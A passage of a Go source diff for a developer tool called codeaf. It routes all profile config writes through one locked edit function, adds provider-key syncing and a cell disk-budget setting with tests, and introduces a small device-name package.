temporary.Chmod(0o600); err != nil { _ = temporary.Close() - return fmt.Errorf("write config %s: %w", key, err) + return err } - if _, err := temporary.Write(append(encoded, '\n')); err != nil { + if _, err := temporary.Write(body); err != nil { _ = temporary.Close() - return fmt.Errorf("write config %s: %w", key, err) + return err } if err := temporary.Close(); err != nil { - return fmt.Errorf("write config %s: %w", key, err) - } - if err := os.Rename(temporaryPath, path); err != nil { - return fmt.Errorf("write config %s: %w", key, err) + return err } - removeTemporary = false - // EVERY PERSISTED WRITE PASSES HERE, which is what makes one counter enough - // for a live reader to know its snapshot is stale (see [SettingsGeneration]). - bumpSettingsGeneration() - return nil + return os.Rename(temporary.Name(), path) } // errorKey is the key a multi-key write blames, chosen deterministically: the diff --git a/internal/config/crew.go b/internal/config/crew.go index 41fc87d2fe..f093a1e741 100644 --- a/internal/config/crew.go +++ b/internal/config/crew.go @@ -338,7 +338,7 @@ func SetCrewAllowed(profileDir, raw string) error { if err != nil { return err } - return writeCrewAllowed(profileDir, rule) + return editCrewAllowed(profileDir, func() crewroute.Allowed { return rule }) } // ModifyCrewAllowed is `/crew models +x` and `-x`: the rule with one word @@ -348,11 +348,24 @@ func ModifyCrewAllowed(profileDir string, add bool, word string) error { if word == "" { return errors.New("name a model or a provider after the + or -") } - return writeCrewAllowed(profileDir, CrewAllowedAt(profileDir).With(add, word)) + return editCrewAllowed(profileDir, func() crewroute.Allowed { return CrewAllowedAt(profileDir).With(add, word) }) } -// writeCrewAllowed is the rule's one writer. -func writeCrewAllowed(profileDir string, rule crewroute.Allowed) error { +// editCrewAllowed is the rule's one writer. The rule is asked for inside the +// profile write, so a word added to the rule as it stands now is not lost to a +// rule read earlier; a rule that would leave a pinned seat outside it is refused. +func editCrewAllowed(profileDir string, rule func() crewroute.Allowed) error { + return editProfile(profileDir, KeyCrewAllowed, func(map[string]json.RawMessage) (profileChange, error) { + allowed := rule() + if err := pinsAdmitted(profileDir, allowed); err != nil { + return profileChange{}, err + } + return encodeChange(map[string]any{KeyCrewAllowed: allowed.String()}) + }) +} + +// pinsAdmitted refuses a rule that leaves out a model a seat is pinned to. +func pinsAdmitted(profileDir string, rule crewroute.Allowed) error { for _, seat := range crewroute.Seats { pin, ok := CrewPinAt(profileDir, seat) if !ok { @@ -363,7 +376,7 @@ func writeCrewAllowed(profileDir string, rule crewroute.Allowed) error { seat, pin.Model, seat, crewroute.ShortModel(pin.Model)) } } - return writeProfileValue(profileDir, KeyCrewAllowed, rule.String()) + return nil } // CrewCapAt is the daily cap on crew spend, zero for none. @@ -1016,7 +1029,7 @@ func CrewOffersAt(profileDir string) []CrewOffer { // exactly the reason the typed form would be — a pinned seat it would leave // outside. func SetCrewAllowedRule(profileDir string, rule crewroute.Allowed) error { - return writeCrewAllowed(profileDir, rule) + return editCrewAllowed(profileDir, func() crewroute.Allowed { return rule }) } // CrewState is the crew's persisted rows as they stand — the three seats, the diff --git a/internal/config/derivation_test.go b/internal/config/derivation_test.go index 95f5619e0d..beed6f4cf5 100644 --- a/internal/config/derivation_test.go +++ b/internal/config/derivation_test.go @@ -247,6 +247,7 @@ var settingReaders = map[string]string{ KeyTaskParallel: "TaskParallelAt", KeyTaskMaxLoad: "TaskMaxLoadAt", KeyTaskMinFreeMB: "TaskMinFreeMBAt", + KeyCellBudget: "CellBudgetGBAt", // The task model is read by the v3 door and becomes session.Config.TaskModel, // which a proposal that names no model of its own resolves through // (internal/session's taskmodel.go). It names the accessor the door touches, diff --git a/internal/config/profile_writer_law_test.go b/internal/config/profile_writer_law_test.go new file mode 100644 index 0000000000..af61493c5a --- /dev/null +++ b/internal/config/profile_writer_law_test.go @@ -0,0 +1,81 @@ +package config + +import ( + "go/ast" + "go/parser" + "go/token" + "path/filepath" + "runtime" + "strings" + "testing" +) + +// fileWriters are the os calls that put bytes on a path. +var fileWriters = map[string]bool{"WriteFile": true, "Rename": true, "CreateTemp": true, "Create": true, "OpenFile": true} + +// TestTheProfileFileIsWrittenOnlyThroughEditProfile is the law that keeps a +// writer from putting a copy it loaded earlier back over what another writer +// stored since. editProfile reads the file under the lock and hands the reading +// to the writer's decision, so it is the only function allowed to name the +// profile file and write; and the file replacement it uses is called from +// nowhere else. +func TestTheProfileFileIsWrittenOnlyThroughEditProfile(t *testing.T) { + _, here, _, _ := runtime.Caller(0) + files, err := filepath.Glob(filepath.Join(filepath.Dir(here), "*.go")) + if err != nil { + t.Fatal(err) + } + fset := token.NewFileSet() + for _, path := range files { + if strings.HasSuffix(path, "_test.go") { + continue + } + file, err := parser.ParseFile(fset, path, nil, 0) + if err != nil { + t.Fatal(err) + } + for _, decl := range file.Decls { + if fn, ok := decl.(*ast.FuncDecl); ok && fn.Body != nil { + checkProfileWriter(t, fn) + } + } + } +} + +func checkProfileWriter(t *testing.T, fn *ast.FuncDecl) { + t.Helper() + name := fn.Name.Name + namesProfile, writes, replaces := false, false, false + ast.Inspect(fn.Body, func(node ast.Node) bool { + switch n := node.(type) { + case *ast.Ident: + namesProfile = namesProfile || n.Name == "BudgetConfigPath" + case *ast.BasicLit: + namesProfile = namesProfile || n.Kind == token.STRING && strings.Contains(n.Value, "config.json") + case *ast.CallExpr: + writes = writes || isOSWrite(n) + replaces = replaces || calls(n, "replaceProfileFile") + } + return true + }) + if replaces && name != "editProfile" { + t.Errorf("%s calls replaceProfileFile; only editProfile may replace the profile file", name) + } + if namesProfile && writes && name != "editProfile" { + t.Errorf("%s writes the profile file itself; change it with editProfile so it reads under the lock", name) + } +} + +func isOSWrite(call *ast.CallExpr) bool { + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return false + } + pkg, isIdent := sel.X.(*ast.Ident) + return isIdent && pkg.Name == "os" && fileWriters[sel.Sel.Name] +} + +func calls(call *ast.CallExpr, name string) bool { + id, ok := call.Fun.(*ast.Ident) + return ok && id.Name == name +} diff --git a/internal/config/profilewrite_sources_test.go b/internal/config/profilewrite_sources_test.go new file mode 100644 index 0000000000..0fea0a1305 --- /dev/null +++ b/internal/config/profilewrite_sources_test.go @@ -0,0 +1,74 @@ +package config + +import ( + "fmt" + "sort" + "sync" + "testing" +) + +// Connecting some services while others are disconnected must leave exactly the +// services the two sides agree on. A list loaded before the other side's write +// and written back whole would bring a disconnected service back or drop a +// connected one; the write reads the list under the profile lock, so it cannot. +func TestConnectAndDisconnectComposeOnTheServiceList(t *testing.T) { + dir := t.TempDir() + const count = 12 + var seed []PersistedSource + for i := 0; i < count; i++ { + seed = append(seed, PersistedSource{ID: fmt.Sprintf("old%02d", i), Written: "old", Order: i}) + } + if err := WriteSources(dir, seed); err != nil { + t.Fatal(err) + } + + var wg sync.WaitGroup + wg.Add(2) + go func() { + defer wg.Done() + for i := 0; i < count; i++ { + row := PersistedSource{ID: fmt.Sprintf("new%02d", i), Written: "new", Order: count + i} + if err := persistConnectedSource(dir, row); err != nil { + t.Error(err) + } + } + }() + go func() { + defer wg.Done() + for i := 0; i < count; i++ { + if err := DisconnectService(dir, fmt.Sprintf("old%02d", i)); err != nil { + t.Error(err) + } + } + }() + wg.Wait() + + var got []string + for _, row := range PersistedSources(dir) { + got = append(got, row.ID) + } + sort.Strings(got) + if len(got) != count || got[0] != "new00" || got[count-1] != fmt.Sprintf("new%02d", count-1) { + t.Fatalf("the service list lost an update: %v", got) + } +} + +// A key stored by another writer is in what a provider-key change is handed, so +// changing one key cannot remove another. +func TestChangeProviderKeysStartsFromWhatIsStored(t *testing.T) { + dir := t.TempDir() + if err := WriteAPIKey(dir, "FAKE-model"); err != nil { + t.Fatal(err) + } + err := ChangeProviderKeys(dir, func(held ProviderKeys) ProviderKeys { + held.Rows = map[string]string{KeyAPIKey: held.Rows[KeyAPIKey], KeyExaKey: "FAKE-search"} + return held + }) + if err != nil { + t.Fatal(err) + } + got, _ := ReadProviderKeys(dir) + if got.Rows[KeyAPIKey] != "FAKE-model" || got.Rows[KeyExaKey] != "FAKE-search" { + t.Fatalf("a stored key did not survive: %d rows", len(got.Rows)) + } +} diff --git a/internal/config/providerkeys.go b/internal/config/providerkeys.go new file mode 100644 index 0000000000..4853ab111f --- /dev/null +++ b/internal/config/providerkeys.go @@ -0,0 +1,150 @@ +package config + +import ( + "encoding/json" + "maps" + "strings" +) + +// ProviderKeys is every key a profile's config.json stores on disk and nothing +// else: the keys of the secret settings rows (the model key, the search keys, +// the app secret) and the key of each model service that holds one inline. It is +// what a person's second machine needs to run a moved chat, and it leaves out +// the rest of the file (budgets, rails, model picks), which belongs to the +// machine it was set on. A key that comes from an environment variable is not +// in the file, so it is never in here; a service that names a variable +// (key_env) has no inline key and contributes nothing. +type ProviderKeys struct { + Rows map[string]string `json:"rows,omitempty"` // secret settings row key -> value + Sources map[string]string `json:"sources,omitempty"` // model service id -> inline key +} + +// Empty reports whether the profile holds no key of its own. +func (k ProviderKeys) Empty() bool { return len(k.Rows) == 0 && len(k.Sources) == 0 } + +// secretRowKeys names the config.json field of every secret settings row. It is +// read from the registry, so a secret row added later travels without this file +// being edited. +func secretRowKeys() []string { + var names []string + for _, row := range NewSettings(SettingsOptions{}).Rows() { + if row.Secret { + names = append(names, row.Key) + } + } + return names +} + +// ReadProviderKeys collects the profile's stored keys from the file alone. A +// config.json that cannot be read is an error, never an empty answer, so a +// damaged file is not mistaken for a person who removed their keys. +func ReadProviderKeys(profileDir string) (ProviderKeys, error) { + values, err := readProfileConfig(profileDir) + if err != nil { + return ProviderKeys{}, err + } + return providerKeysFrom(values), nil +} + +func providerKeysFrom(values map[string]json.RawMessage) ProviderKeys { + var keys ProviderKeys + for _, name := range secretRowKeys() { + keys.Rows = putNonEmpty(keys.Rows, name, storedString(values, name)) + } + for _, row := range persistedSourcesFrom(values) { + keys.Sources = putNonEmpty(keys.Sources, row.ID, row.Key) + } + return keys +} + +func putNonEmpty(into map[string]string, name, value string) map[string]string { + if value == "" { + return into + } + if into == nil { + into = map[string]string{} + } + into[name] = value + return into +} + +func storedString(values map[string]json.RawMessage, name string) string { + var value string + if json.Unmarshal(values[name], &value) != nil { + return "" + } + return strings.TrimSpace(value) +} + +// WriteProviderKeys makes the profile's stored keys equal to keys: a key that +// is absent from keys is removed. Use [ChangeProviderKeys] to change some keys +// and leave the rest as they are. +func WriteProviderKeys(profileDir string, keys ProviderKeys) error { + return ChangeProviderKeys(profileDir, func(ProviderKeys) ProviderKeys { return keys }) +} + +// ChangeProviderKeys hands change the keys the profile stores AT THE MOMENT OF +// THE WRITE and stores the keys it answers: a key absent from the answer is +// removed, and every other field of config.json, and every other field of a +// service row, is left as it was. The stored keys are read inside the profile's +// own locked, atomic write, so a key another writer stored a moment ago is in +// what change sees and cannot be removed by a set built from an earlier reading. +// It writes nothing when the file already says the same. A service row this +// machine does not have is skipped, since a key alone cannot make one. +func ChangeProviderKeys(profileDir string, change func(ProviderKeys) ProviderKeys) error { + return editProfile(profileDir, "provider keys", func(held map[string]json.RawMessage) (profileChange, error) { + return encodeChange(providerKeyUpdates(held, change(providerKeysFrom(held)))) + }) +} + +// providerKeyUpdates is the rows to set and remove, and the service list to +// write, that bring the stored keys (in held) to want. +func providerKeyUpdates(held map[string]json.RawMessage, want ProviderKeys) map[string]any { + stored := providerKeysFrom(held) + updates := rowKeyUpdates(stored.Rows, want.Rows) + if !maps.Equal(stored.Sources, want.Sources) { + updates[keyModelSources] = sourcesWithKeys(persistedSourcesFrom(held), want.Sources) + } + return updates +} + +func rowKeyUpdates(held, want map[string]string) map[string]any { + updates := map[string]any{} + for _, name := range secretRowKeys() { + switch value, ok := want[name]; { + case held[name] == want[name]: + case ok: + updates[name] = value + default: + updates[name] = removeProfileKey + } + } + return updates +} + +// sourcesWithKeys is rows with each inline key set to the one wanted for that +// service, in the cleaned form the file keeps. +func sourcesWithKeys(rows []PersistedSource, want map[string]string) []PersistedSource { + for i := range rows { + if rows[i].KeyEnv == "" { + rows[i].Key = want[rows[i].ID] + } + } + return cleanSources(rows) +} + +// ProviderKeysHeldBy is keys cut down to what this profile can hold: a service +// key is kept only for a service row the profile has and that stores its key +// inline. It is what ReadProviderKeys answers after WriteProviderKeys(keys). +func ProviderKeysHeldBy(profileDir string, keys ProviderKeys) ProviderKeys { + var kept ProviderKeys + for _, name := range secretRowKeys() { + kept.Rows = putNonEmpty(kept.Rows, name, keys.Rows[name]) + } + for _, row := range PersistedSources(profileDir) { + if row.KeyEnv == "" { + kept.Sources = putNonEmpty(kept.Sources, row.ID, keys.Sources[row.ID]) + } + } + return kept +} diff --git a/internal/config/providerkeys_test.go b/internal/config/providerkeys_test.go new file mode 100644 index 0000000000..3632be46bf --- /dev/null +++ b/internal/config/providerkeys_test.go @@ -0,0 +1,34 @@ +package config + +import "testing" + +// A service's inline key travels by id and lands only on a row this profile +// has, without touching the row's other fields; a row that names a variable +// holds no inline key and is never given one. +func TestProviderKeysWriteOnlyTheKeyOfAKnownService(t *testing.T) { + dir := t.TempDir() + rows := []PersistedSource{ + {ID: "acme", Written: "acme", Region: "us", Order: 1}, + {ID: "envy", Written: "envy", Region: "us", KeyEnv: "ENVY_KEY", Order: 2}, + } + if err := WriteSources(dir, rows); err != nil { + t.Fatal(err) + } + want := ProviderKeys{Sources: map[string]string{"acme": "FAKE-acme", "envy": "FAKE-envy", "gone": "FAKE-gone"}} + if err := WriteProviderKeys(dir, want); err != nil { + t.Fatal(err) + } + got, err := ReadProviderKeys(dir) + if err != nil { + t.Fatal(err) + } + if len(got.Sources) != 1 || got.Sources["acme"] != "FAKE-acme" { + t.Fatalf("only the known inline-key service may hold a key, got %d entries", len(got.Sources)) + } + if held := PersistedSources(dir); held[0].Region != "us" || held[1].KeyEnv != "ENVY_KEY" || held[1].Key != "" { + t.Fatal("a service row's other fields changed") + } + if ProviderKeysHeldBy(dir, want).Sources["gone"] != "" { + t.Fatal("a service this profile lacks is reported held") + } +} diff --git a/internal/config/selfservice.go b/internal/config/selfservice.go index ec0fe2c835..94a242fd97 100644 --- a/internal/config/selfservice.go +++ b/internal/config/selfservice.go @@ -100,6 +100,7 @@ var selfServiceGuards = map[string]string{ KeyTaskParallel: guardPressure, KeyTaskMaxLoad: guardPressure, KeyTaskMinFreeMB: guardPressure, + KeyCellBudget: guardPressure, KeyBashBackgroundAfter: guardPressure, // The team defaults: a team's day and the share a sub-team is handed are diff --git a/internal/config/settings.go b/internal/config/settings.go index 5823d60d0f..ba29a07147 100644 --- a/internal/config/settings.go +++ b/internal/config/settings.go @@ -431,6 +431,11 @@ const ( // because the page cache has the rest. 0 turns the check off. KeyTaskMinFreeMB = "task.min_free_mb" + // KeyCellBudget is the disk the working files of all cells may use + // together, in gibibytes (internal/cellbudget). Over it, `codeaf cell gc` + // evicts the cells opened longest ago. 0 means no limit. + KeyCellBudget = "cell.budget_gb" + // KeyTaskModel is the model a task runs on when the conversation does not // name one for it (internal/session's taskmodel.go). It is named under // `task.` beside the countdown rather than among the `models.` rows because @@ -1061,6 +1066,10 @@ var OperatorEnvPins = []string{ // CODEAF_FURROW names a furrow to use instead of the one codeaf carries // (internal/furrow). A path to a program is plumbing. "CODEAF_FURROW", + // CODEAF_ENGINE_DAEMON=0 makes every engine verb spawn the engine instead + // of asking its long-lived daemon (internal/cellstore). It is an escape + // hatch that changes speed and never results, so it is plumbing. + "CODEAF_ENGINE_DAEMON", // The three site-attribution pins — a URL, an app name, a category list — // used to sit here, and they are gone rather than moved: the OpenRouter app // this binary reports as is a constant in internal/provider that nothing @@ -1310,6 +1319,18 @@ var OperatorEnvPins = []string{ "CODEAF_MODEL_POOL_SUBMIT_URL", "CODEAF_MODEL_POOL_MIRROR_URL", "CODEAF_MODEL_POOL_TTL", + // CODEAF_CELLS=0 switches cells off (internal/cell); on is the default, so a + // paired install moves chats with no setting. It is an escape hatch and so + // plumbing, never a row: a persisted row would turn cells off on a machine + // where the variable is nowhere in sight. + "CODEAF_CELLS", + // CODEAF_SYNC_URL names the relay that syncs cells between this person's + // machines (internal/syncsetup), and CODEAF_SYNC_INTERVAL_MS is how often + // unsaved turns are flushed to it. Like CODEAF_CELLS they are plumbing, never + // a row: unset, sync is off and nothing changes. A persisted row would point + // a machine at a relay it was never told about. + "CODEAF_SYNC_URL", + "CODEAF_SYNC_INTERVAL_MS", } // Defaults the registry owns beyond the ones config.go already declares. @@ -1429,6 +1450,10 @@ const ( // developer's machine is usually theirs. DefaultTaskMinFreeMB = 1536 + // DefaultCellBudgetGB is what internal/cellbudget assumes when nothing + // says otherwise: room for a handful of ordinary checkouts. + DefaultCellBudgetGB = 20 + // DefaultConsentTimeout is ten seconds of reminder, and it is a different // number from the one above because it is a different KIND of clock. The // task countdown runs toward the permissive answer, so it is kept short @@ -2161,7 +2186,7 @@ func (s *Settings) build() []Setting { "a name — `cloudflare` — pins it and nothing else is asked; " + "`pinned: cloudflare, borrow when slow` keeps the pin but lets " + "a slow answer be rescued elsewhere; openrouter asks for no host at all and " + - "lets the router balance on price, with no takeover. enter on this row opens them with what " + + "lets the router balance on price, with no host switching. enter on this row opens them with what " + "has been measured of each, and so does → on a model row in the picker — " + "under /model and under `your model` in the settings panel alike.", read: func() string { return LaneRowWord(dir, LaneSlotTalk) }, @@ -2228,9 +2253,9 @@ func (s *Settings) build() []Setting { Setting{ Key: KeyTaskAudit, Category: CategoryTasks, Kind: SettingChoice, Label: "task audit", Choices: TaskAuditModes, - Hint: "when on, every task node's work is checked by an independent read-only " + + Hint: "when on, every task part's work is checked by an independent read-only " + "auditor — it runs the repo's own verification and reads the diff — before " + - "anything may merge into your branch. Off trusts the node's own report and " + + "anything may merge into your branch. Off trusts the part's own report and " + "merges unaudited. On is the default: the audit is what 'done' means, and it " + "roughly doubles a small task's model cost.", read: func() string { return TaskAuditAt(dir) }, @@ -2328,6 +2353,16 @@ func (s *Settings) build() []Setting { read: func() string { return strconv.Itoa(TaskMinFreeMBAt(dir)) }, write: func(raw string) error { return writeProfileCount(dir, KeyTaskMinFreeMB, raw) }, }, + Setting{ + Key: KeyCellBudget, Category: CategoryTasks, Kind: SettingText, + Label: "cell disk budget", Unit: "GB", Env: "CODEAF_CELL_BUDGET_GB", + Hint: "how much disk the working files of all cells may use together — 20 by " + + "default, and a fraction such as 0.5 is fine. Over it, `codeaf cell gc` evicts " + + "the cells opened longest ago and leaves any a session still holds. 0 stops " + + "watching the disk.", + read: func() string { return formatNumber(CellBudgetGBAt(dir)) }, + write: func(raw string) error { return writeProfileNumber(dir, KeyCellBudget, raw) }, + }, // Which model the work that LEAVES a conversation runs on. It sits with // the countdown and the audit rather than among the model rows for the // reason those two are here: all three are about the work you hand off — @@ -4287,6 +4322,23 @@ func TaskMinFreeMBAt(profileDir string) int { return minFreeMB } +// CellBudgetGBAt resolves the cells' disk budget in gibibytes, fractions +// allowed (0.5 is half a gibibyte): the environment pin, then the persisted row, +// then the default. An unreadable pin is the default rather than an error, so a +// typo cannot lift the budget. 0 is no limit. +func CellBudgetGBAt(profileDir string) float64 { + if raw := strings.TrimSpace(env.Get("CODEAF_CELL_BUDGET_GB")); raw != "" { + if value, err := parseNumber(raw); err == nil { + return value + } + return DefaultCellBudgetGB + } + if value, ok := persistedFloat(profileDir, KeyCellBudget); ok && value >= 0 { + return value + } + return DefaultCellBudgetGB +} + // TaskAdmissionLimitsAt overlays current persisted ceilings on the caller's // startup values. Missing keys preserve those values, including explicit zero. // Both settings come from one read so a newly created gate sees one profile. diff --git a/internal/config/settings_test.go b/internal/config/settings_test.go index cf46aab9c0..3fbd7807fd 100644 --- a/internal/config/settings_test.go +++ b/internal/config/settings_test.go @@ -871,6 +871,18 @@ func TestTheTaskThrottleRowsRoundTrip(t *testing.T) { t.Fatalf("turning the load check off: %v, %v", err, TaskMaxLoadAt(dir)) } + // The cell budget takes a fraction of a GB, and shows it back the same way. + budget := mustRow(t, rows, KeyCellBudget) + if got := budget.Value(); got != "20" { + t.Fatalf("unset cell.budget_gb reads %q, want 20", got) + } + if err := budget.Apply("0.5"); err != nil || CellBudgetGBAt(dir) != 0.5 { + t.Fatalf("cell.budget_gb after 0.5: %v, %v", err, CellBudgetGBAt(dir)) + } + if err := budget.Apply("lots"); err == nil { + t.Fatal("cell.budget_gb accepted a word") + } + memory := mustRow(t, rows, KeyTaskMinFreeMB) if got := memory.Value(); got != "1536" { t.Fatalf("unset task.min_free_mb reads %q", got) diff --git a/internal/config/sources.go b/internal/config/sources.go index f2a2465f3e..942ed0e83f 100644 --- a/internal/config/sources.go +++ b/internal/config/sources.go @@ -73,9 +73,28 @@ func persistedSourcesFrom(values map[string]json.RawMessage) []PersistedSource { return rows } -// WriteSources atomically replaces the non-default service rows while keeping -// every unrelated profile setting. +// WriteSources replaces the non-default service rows with rows, keeping every +// unrelated profile setting. It is for a caller that owns the whole list; one +// that derives the new list from the old one uses [UpdateSources]. func WriteSources(profileDir string, rows []PersistedSource) error { + return UpdateSources(profileDir, func([]PersistedSource) []PersistedSource { return rows }) +} + +// UpdateSources changes the service rows from what the file holds at the moment +// of the write: change is handed the current rows and answers the new ones. The +// read happens under the profile lock, so a service or a key another writer +// stored a moment ago is in the rows change sees and cannot be dropped by a +// list loaded earlier. +func UpdateSources(profileDir string, change func([]PersistedSource) []PersistedSource) error { + return editProfile(profileDir, keyModelSources, func(held map[string]json.RawMessage) (profileChange, error) { + rows := cleanSources(change(persistedSourcesFrom(held))) + return encodeChange(map[string]any{keyModelSources: rows}) + }) +} + +// cleanSources is rows in the form the file keeps: trimmed, without the fields +// a row's kind does not use, and without a row too incomplete to name a service. +func cleanSources(rows []PersistedSource) []PersistedSource { cleaned := make([]PersistedSource, 0, len(rows)) for _, row := range rows { row.ID = strings.TrimSpace(row.ID) @@ -102,7 +121,7 @@ func WriteSources(profileDir string, rows []PersistedSource) error { } cleaned = append(cleaned, row) } - return writeProfileValue(profileDir, keyModelSources, cleaned) + return cleaned } // SourceKeyAt is APIKeyAt's generalisation. The default service keeps its @@ -667,32 +686,34 @@ func collectVendorWords(value any, words *[]string) { } func persistConnectedSource(profileDir string, row PersistedSource) error { - rows := PersistedSources(profileDir) - replaced := false - for index := range rows { - if strings.EqualFold(strings.TrimSpace(rows[index].ID), strings.TrimSpace(row.ID)) { - rows[index] = row - replaced = true - break + return UpdateSources(profileDir, func(rows []PersistedSource) []PersistedSource { + for index := range rows { + if sameServiceID(rows[index].ID, row.ID) { + rows[index] = row + return rows + } } - } - if !replaced { - rows = append(rows, row) - } - return WriteSources(profileDir, rows) + return append(rows, row) + }) +} + +func sameServiceID(a, b string) bool { + return strings.EqualFold(strings.TrimSpace(a), strings.TrimSpace(b)) } // DisconnectService removes one service row and its stored credential. Codex's // rotating tokens live in their owner-only sibling file and leave with it. func DisconnectService(profileDir, id string) error { - rows := PersistedSources(profileDir) - kept := rows[:0] - for _, row := range rows { - if !strings.EqualFold(strings.TrimSpace(row.ID), strings.TrimSpace(id)) { - kept = append(kept, row) + err := UpdateSources(profileDir, func(rows []PersistedSource) []PersistedSource { + kept := rows[:0] + for _, row := range rows { + if !sameServiceID(row.ID, id) { + kept = append(kept, row) + } } - } - if err := WriteSources(profileDir, kept); err != nil { + return kept + }) + if err != nil { return err } if strings.EqualFold(strings.TrimSpace(id), "codex") { diff --git a/internal/config/testdata/profile-keys.ledger b/internal/config/testdata/profile-keys.ledger index 8a19b7c865..c7cb92bcc9 100644 --- a/internal/config/testdata/profile-keys.ledger +++ b/internal/config/testdata/profile-keys.ledger @@ -16,6 +16,7 @@ attribution attribution.model bash.background_after_seconds brief_after +cell.budget_gb completion_reserve context_fill_pct context_reuse_pct diff --git a/internal/delegate/child_processes_test.go b/internal/delegate/child_processes_test.go index 6766352eb1..de4ce26c78 100644 --- a/internal/delegate/child_processes_test.go +++ b/internal/delegate/child_processes_test.go @@ -71,16 +71,7 @@ func TestRunEndsItsBashBackgroundProcesses(t *testing.T) { }, nil) ended <- err }() - var pid int - deadline := time.Now().Add(5 * time.Second) - for time.Now().Before(deadline) { - data, readErr := os.ReadFile(pidFile) - if readErr == nil { - pid, _ = strconv.Atoi(strings.TrimSpace(string(data))) - break - } - time.Sleep(10 * time.Millisecond) - } + pid := awaitPID(pidFile, 5*time.Second) if pid <= 0 { cancel() <-ended @@ -117,6 +108,19 @@ func TestRunEndsItsBashBackgroundProcesses(t *testing.T) { } } +// awaitPID waits until the shell has written a whole pid. The file exists +// (empty) as soon as the shell opens its redirect, so existence alone proves +// nothing; only a parsed positive pid does. It returns 0 on timeout. +func awaitPID(path string, within time.Duration) int { + for deadline := time.Now().Add(within); time.Now().Before(deadline); time.Sleep(10 * time.Millisecond) { + data, err := os.ReadFile(path) + if pid, _ := strconv.Atoi(strings.TrimSpace(string(data))); err == nil && pid > 0 { + return pid + } + } + return 0 +} + func processStillRunning(pid int) bool { data, err := os.ReadFile(filepath.Join("/proc", strconv.Itoa(pid), "stat")) if err != nil { diff --git a/internal/delegate/hostseat_test.go b/internal/delegate/hostseat_test.go new file mode 100644 index 0000000000..ebf82d7e96 --- /dev/null +++ b/internal/delegate/hostseat_test.go @@ -0,0 +1,7 @@ +package delegate + +import "github.com/Agent-Field/codeaf/internal/executor/executortest" + +// These tests run tools with no session, so their calls run on the host seat +// by name; production still refuses a call that lost its session. +func init() { executortest.Host() } diff --git a/internal/delegate/launch.go b/internal/delegate/launch.go index 136f66028f..1c267161a9 100644 --- a/internal/delegate/launch.go +++ b/internal/delegate/launch.go @@ -21,6 +21,7 @@ import ( "syscall" "time" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/processgroup" ) @@ -102,7 +103,6 @@ var ErrNoTerminal = errors.New("the program exited without a terminal record") // terminal. The error answered is the context's own, so a run supervisor that // reads `context.Canceled` off a worker knows its own ending cut the task. func Run(ctx context.Context, launch Launch, sink Sink) (Result, error) { - cmd := exec.Command(launch.Bin, launch.Args...) // The marker is a last-resort Linux sweep after SIGKILL stops the engine // before its own subreaper can clean up its descendants. markerBytes := make([]byte, 16) @@ -114,10 +114,13 @@ func Run(ctx context.Context, launch Launch, sink Sink) (Result, error) { if baseEnv == nil { baseEnv = os.Environ() } - cmd.Env = append(append([]string(nil), baseEnv...), processgroup.RunMarkerEnv+"="+marker) - cmd.Dir = launch.Dir - cmd.Stdin = nil - processgroup.Configure(cmd) + cmd, err := executor.For(ctx).In(launch.Dir).Command(context.Background(), executor.ExecRequest{ + Argv: append([]string{launch.Bin}, launch.Args...), + Env: append(append([]string(nil), baseEnv...), processgroup.RunMarkerEnv+"="+marker), + }) + if err != nil { + return Result{ExitCode: -1}, fmt.Errorf("start %s: %w", launch.Name, err) + } stderr, err := openStderr(launch.StderrPath) if err != nil { return Result{ExitCode: -1}, err diff --git a/internal/devname/devname.go b/internal/devname/devname.go new file mode 100644 index 0000000000..07eeb085b4 --- /dev/null +++ b/internal/devname/devname.go @@ -0,0 +1,123 @@ +// Package devname is what a person calls this computer. +// +// THE DEFAULT IS THE HOST NAME AND A CHOICE IS ONE SMALL FILE. A person who +// never names the computer has no file and keeps seeing the word their operating +// system already uses; a person who does name it writes one line, and that line +// is the name on every screen of every other device from then on. The name is a +// label and never an identity: nothing is authorized by it, two devices may +// share one (the device list tells them apart by a short id), and renaming +// changes no key. +// +// ONE SOURCE OF TRUTH. The sealed record in the relay's directory, the label +// shown when a device is let in, and "typing from " on a chat window all +// read [Name] here, so they cannot disagree about what this computer is called. +package devname + +import ( + "errors" + "os" + "path/filepath" + "strings" + "unicode" + "unicode/utf8" +) + +// Most is the longest name, counted in characters a person sees. +const Most = 32 + +// fileName is the one line a chosen name is kept in, under the codeaf home. +const fileName = "device-name" + +// The reasons a typed name is refused, each a sentence a person can act on. +var ( + ErrEmpty = errors.New("a device name needs at least one visible character") + ErrTooLong = errors.New("a device name is at most 32 characters") + ErrControl = errors.New("a device name cannot hold control characters or line breaks") +) + +// Clean is the name a person typed, trimmed, or the reason it cannot be a name. +// +// A BAD NAME IS REFUSED RATHER THAN REPAIRED. The person is looking at the +// name they typed; silently cutting or stripping it would show them a different +// one on the other computers and leave them to wonder why. +func Clean(typed string) (string, error) { + name := strings.TrimSpace(typed) + switch { + case strings.IndexFunc(name, unicode.IsControl) >= 0: + return "", ErrControl + case name == "": + return "", ErrEmpty + case utf8.RuneCountInString(name) > Most: + return "", ErrTooLong + } + return name, nil +} + +// Default is the host name with any domain cut off, so a list of two laptops +// reads `spark` and not `spark.local.example.com`. A machine that cannot say its +// host name is "a device". +func Default() string { + host, err := os.Hostname() + if dot := strings.IndexByte(host, '.'); dot > 0 { + host = host[:dot] + } + if name, bad := Clean(host); err == nil && bad == nil { + return name + } + return "a device" +} + +// Name is what the codeaf home at dir calls this computer: the name a person +// chose, else the host name. A file that no longer holds a valid name is a name +// that was never chosen. +func Name(dir string) string { + if chosen, ok := Chosen(dir); ok { + return Shown(chosen) + } + return Default() +} + +// mdnsSuffix is what macOS adds to a host name on the local network. +const mdnsSuffix = ".local" + +// Shown is a device name as every screen writes it: without the ".local" a Mac +// adds to its host name. A device record sealed by an older build holds the raw +// host name, and the other devices read that record, so the cut is made where a +// name is read as well as where it is made, and the banner of a moved chat can +// never disagree with the device list about what a computer is called. +func Shown(name string) string { + if len(name) > len(mdnsSuffix) && strings.EqualFold(name[len(name)-len(mdnsSuffix):], mdnsSuffix) { + return name[:len(name)-len(mdnsSuffix)] + } + return name +} + +// Chosen is the name a person gave this computer, and false when they never did. +func Chosen(dir string) (string, bool) { + raw, err := os.ReadFile(path(dir)) + if err != nil { + return "", false + } + name, err := Clean(string(raw)) + return name, err == nil +} + +// Set keeps typed as this computer's name and returns the cleaned name. Nothing +// is written for a name that is refused. +func Set(dir, typed string) (string, error) { + name, err := Clean(typed) + if err != nil { + return "", err + } + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", err 